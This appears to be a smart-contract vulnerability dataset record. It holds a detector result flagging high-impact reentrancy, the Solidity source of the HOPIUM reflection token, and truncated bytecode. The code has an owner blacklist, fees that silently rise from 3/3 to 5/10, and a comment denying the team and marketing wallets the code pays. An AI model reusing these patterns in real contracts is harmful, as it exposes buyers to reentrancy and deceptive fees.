{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,282 |
0x03703a5e60918059baf5481c5d55a553890207a2
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/hopiumtokenofficial
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HopiumToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HOPIUM | t.me/hopiumtokenofficial";
string private constant _symbol = "HPIUM";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a1f565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec0565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e3565b610590565b6040516101a09190612ea5565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613062565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612994565b6105bf565b6040516102089190612ea5565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf4565b60405161024a91906130d7565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a60565b610bfd565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612906565b610caf565b005b3480156102b157600080fd5b506102ba610d9f565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612906565b610e11565b6040516102f09190613062565b60405180910390f35b34801561030557600080fd5b5061030e610e62565b005b34801561031c57600080fd5b50610325610fb5565b6040516103329190612dd7565b60405180910390f35b34801561034757600080fd5b50610350610fde565b60405161035d9190612ec0565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e3565b61101b565b60405161039a9190612ea5565b60405180910390f35b3480156103af57600080fd5b506103b8611039565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab2565b6110b3565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612958565b6111fc565b6040516104179190613062565b60405180910390f35b610428611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc2565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613378565b9150506104b8565b5050565b606060405180606001604052806021815260200161379b60219139905090565b60006105a461059d611283565b848461128b565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611456565b61068d846105d8611283565b610688856040518060600160405280602881526020016137bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611283565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c159092919063ffffffff16565b61128b565b600190509392505050565b6106a0611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc2565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f02565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610925919061292f565b6040518363ffffffff1660e01b8152600401610942929190612df2565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610994919061292f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e11565b600080610a28610fb5565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e44565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adb565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9e929190612e1b565b602060405180830381600087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190612a89565b5050565b60006009905090565b610c05611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612fc2565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb7611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b90612fc2565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de0611283565b73ffffffffffffffffffffffffffffffffffffffff1614610e0057600080fd5b6000479050610e0e81611c79565b50565b6000610e5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d74565b9050919050565b610e6a611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612fc2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f485049554d000000000000000000000000000000000000000000000000000000815250905090565b600061102f611028611283565b8484611456565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107a611283565b73ffffffffffffffffffffffffffffffffffffffff161461109a57600080fd5b60006110a530610e11565b90506110b081611de2565b50565b6110bb611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612fc2565b60405180910390fd5b6000811161118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612f82565b60405180910390fd5b6111ba60646111ac83683635c9adc5dea000006120dc90919063ffffffff16565b61215790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f19190613062565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290613022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612f42565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114499190613062565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90613002565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90612ee2565b60405180910390fd5b60008111611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612fe2565b60405180910390fd5b611581610fb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610fb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5257600f60179054906101000a900460ff1615611822573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176b611283565b73ffffffffffffffffffffffffffffffffffffffff1614806117e15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c9611283565b73ffffffffffffffffffffffffffffffffffffffff16145b611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613042565b60405180910390fd5b5b5b60105481111561183157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118de57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119df5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f75750600f60179054906101000a900460ff165b15611a985742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4757600080fd5b601e42611a549190613198565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa330610e11565b9050600f60159054906101000a900460ff16158015611b105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b285750600f60169054906101000a900460ff165b15611b5057611b3681611de2565b60004790506000811115611b4e57611b4d47611c79565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0357600090505b611c0f848484846121a1565b50505050565b6000838311158290611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c549190612ec0565b60405180910390fd5b5060008385611c6c9190613279565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc960028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4560028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d70573d6000803e3d6000fd5b5050565b6000600654821115611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612f22565b60405180910390fd5b6000611dc56121ce565b9050611dda818461215790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6e5781602001602082028036833780820191505090505b5090503081600081518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4e57600080fd5b505afa158015611f62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f86919061292f565b81600181518110611fc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061307d565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120ef5760009050612151565b600082846120fd919061321f565b905082848261210c91906131ee565b1461214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390612fa2565b60405180910390fd5b809150505b92915050565b600061219983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f9565b905092915050565b806121af576121ae61225c565b5b6121ba84848461228d565b806121c8576121c7612458565b5b50505050565b60008060006121db61246a565b915091506121f2818361215790919063ffffffff16565b9250505090565b60008083118290612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379190612ec0565b60405180910390fd5b506000838561224f91906131ee565b9050809150509392505050565b600060085414801561227057506000600954145b1561227a5761228b565b600060088190555060006009819055505b565b60008060008060008061229f876124cc565b9550955095509550955095506122fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123de816125dc565b6123e88483612699565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124459190613062565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a0683635c9adc5dea0000060065461215790919063ffffffff16565b8210156124bf57600654683635c9adc5dea000009350935050506124c8565b81819350935050505b9091565b60008060008060008060008060006124e98a6008546009546126d3565b92509250925060006124f96121ce565b9050600080600061250c8e878787612769565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c15565b905092915050565b600080828461258d9190613198565b9050838110156125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c990612f62565b60405180910390fd5b8091505092915050565b60006125e66121ce565b905060006125fd82846120dc90919063ffffffff16565b905061265181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ae8260065461253490919063ffffffff16565b6006819055506126c98160075461257e90919063ffffffff16565b6007819055505050565b6000806000806126ff60646126f1888a6120dc90919063ffffffff16565b61215790919063ffffffff16565b90506000612729606461271b888b6120dc90919063ffffffff16565b61215790919063ffffffff16565b9050600061275282612744858c61253490919063ffffffff16565b61253490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278285896120dc90919063ffffffff16565b9050600061279986896120dc90919063ffffffff16565b905060006127b087896120dc90919063ffffffff16565b905060006127d9826127cb8587612534909190